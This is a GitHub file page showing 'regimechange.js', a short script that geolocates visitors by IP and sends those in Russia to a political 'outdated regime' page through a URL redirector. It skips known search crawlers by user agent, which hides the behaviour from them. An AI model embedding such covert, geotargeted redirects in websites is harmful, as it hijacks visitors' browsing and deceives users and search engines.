-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathregimechange.js
More file actions
35 lines (34 loc) · 1002 Bytes
/
regimechange.js
File metadata and controls
35 lines (34 loc) · 1002 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var redirectCountry = "RU";
var otherSite = "https://url.rw/?https%3A%2F%2Foutdatedregime.github.io%2Fchange%2F";
fetch("https://ipapi.co/country/")
.then((response) => {
if (response.ok) {
return response.text();
} else {
throw new Error("HTTP Error " + response.status);
}
})
.then((country) => {
if (country == redirectCountry) {
// Double checking if it is a human or a bot like Google
if(isHuman()){
// Action needed - redirecting visitor to warning about outdated regime.
window.location = otherSite;
}
}
})
.catch(function (error) {
// Network error
// Script blocked by browser extension
// 429 error (too many requests)
console.log(error);
});
function isHuman() {
if (
/bot|google|baidu|bing|msn|teoma|slurp|yandex/i.test(navigator.userAgent)
) {
return false;
} else {
return true;
}
}